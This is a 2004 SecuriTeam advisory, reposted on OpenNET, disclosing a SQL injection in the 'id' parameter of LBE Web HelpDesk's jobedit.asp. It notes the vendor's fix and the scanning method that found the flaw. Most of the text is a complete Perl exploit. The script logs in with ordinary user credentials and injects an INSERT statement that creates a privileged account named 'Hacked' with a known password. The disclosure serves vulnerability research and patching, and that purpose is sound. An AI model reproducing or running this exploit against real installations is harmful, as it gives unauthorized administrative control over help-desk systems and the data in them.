The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[NT] LBE Web HelpDesk SQL Injection


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 21 Jul 2004 18:19:30 +0200
From: SecuriTeam <[email protected]>
To: [email protected]
Subject: [NT] LBE Web HelpDesk SQL Injection

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  LBE Web HelpDesk SQL Injection
------------------------------------------------------------------------


SUMMARY

 <http://www.lbehelpdesk.com/>; Leigh Business Enterprises's Web HelpDesk 
is "operated entirely through your web browser and is designed to be used 
by both your support staff and your customers".

We found the product to contain at least one exploitable SQL Injection 
vulnerability that would allow a normal user to gain administrative 
privileges to the Leigh Business Enterprises's Web HelpDesk product.

DETAILS

Vulnerable Systems:
 * Leigh Business Enterprises's (LBE) Web HelpDesk 4.0.80 and prior

Immune Systems:
 * Leigh Business Enterprises's (LBE) Web HelpDesk version 4.0.0.81 or 
newer

We found the product to contain at least one exploitable SQL Injection 
vulnerability that would allow a normal user to at the very least gain 
administrative privileges to the Leigh Business Enterprises's Web HelpDesk 
product, at the worst case he will be able to get complete control over 
(administrative privileges) the computer on which the Leigh Business 
Enterprises's Web HelpDesk is installed and utilize it to gain access to 
other computers.

The vulnerable page is the jobedit.asp, and its 'id' parameter. The 
parameter receives, from the user, part of SQL statement that is later 
used by the Leigh Business Enterprises's Web HelpDesk. If we insert a 
malicious SQL statement to the 'id' parameter, we can modify the 'users' 
table, and add a new user that will have the permissions of as an 
operator.

See the below exploit code demonstrating how we gain administrative 
privileges to Leigh Business Enterprises's Web HelpDesk, by only providing 
it with a username and password (regular user).

Vendor response:
We have today sent out a notification to our customers with details of the 
fix that can be downloaded from:  
<http://www.lbehelpdesk.com/helpdesk-latest.htm>; 
http://www.lbehelpdesk.com/helpdesk-latest.htm.

Testing Methodology:
A few months ago Beyond Security built a new module for its Automated 
Scanning Vulnerability Assessment engine to test web sites and web 
applications for security vulnerabilities. This module adds the capability 
to dynamically crawl through a web site and find vulnerabilities in its 
dynamic pages.

This type of tool was considered to be different from the network VA 
tools, but we at Beyond Security believe that these two types of tools 
should be merged into one, and this is what made us incorporate the Web 
Site Security Audit module to our Automated Scanning engine.

For a press release on this integration see:  
<http://www.beyondsecurity.com/press/2004/press10030402.htm>; 
http://www.beyondsecurity.com/press/2004/press10030402.htm
White paper on the first integrated network and web application 
vulnerability scanner:  <http://www.beyondsecurity.com/webscan-wp.pdf>; 
http://www.beyondsecurity.com/webscan-wp.pdf

Our Automated Scanning engine equipped with the Web Site Security Audit 
module did all the tests described in this advisory automatically.

Exploit:
#!/usr/bin/perl

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $Path = $ARGV[1];
my $Email = $ARGV[2];
my $Password = $ARGV[3];

if (($#ARGV+1) < 4)
{
 print "lbehelpdesk.pl host path email password\n";
 exit(0);
}

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "Getting default cookie\n";

my $http = "GET /$Path/oplogin.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 
Firefox/0.8
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima
ge/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close

";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);

my $Cookie = "";

while (<$remote>)
{
 if (/Set-Cookie: ([^;]+;)/)
 {
  $Cookie .= $1." ";
 }

# print $_;
}
print "\n";   

close($remote);

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "Logging in\n";

$remote->autoflush(1);

my $http = "POST /$Path/gstlogin.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 
Firefox/0.8
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp
Cookie: $Cookie
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content = "txtemail=$Email&txtpwd=$Password";

$http .= length($content)."

$content";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);

my $success = 0;
while (<$remote>)
{
 if (/Location: eval.asp/)
 {
  $success = 1;
  print "Login successfull\n";
 }

# print $_;
}
print "\n";

close $remote;

if (!$success)
{
 print "Login failed\n";
 exit(0);
}

$http = "GET 
/$Path/jobedit.asp?id=0%20;%20INSERT%20INTO%20users%20(%20user_name,".
"%20password,%20editactiontime,%20orgstructure,%20createviewtemplate,".
"%20removelogins,%20editlinkedfiles,%20newencrypt,%20showalljobs,".
"%20publishmacros,%20override_contract%20)%20VALUES%20('Hacked',".
"%20'60716363677F6274',%201,%201,%201,%201,%201,%20'Y',%201,".
"%201,%201) HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 
Firefox/0.8
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp
Cookie: $Cookie

";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);

while (<$remote>)
{
 if (/Unable to find Job id = 0 ; INSERT INTO users/g)
 {
  print "Successfully added record\nYou can now log on as Hacked/password 
(Username/Password)\n";
 }
# print $_;
}

close($remote);

# INSERT INTO users ( user_name, password, editactiontime, orgstructure, 
createviewtemplate, removelogins, editlinkedfiles, newencrypt, 
showalljobs, publishmacros, override_contract ) VALUES ('Hacked', 
'60716363677F6274', 1, 1, 1, 1, 1, 'Y', 1, 1, 1) # Password is 'password'


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Noam 
Rathaus.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру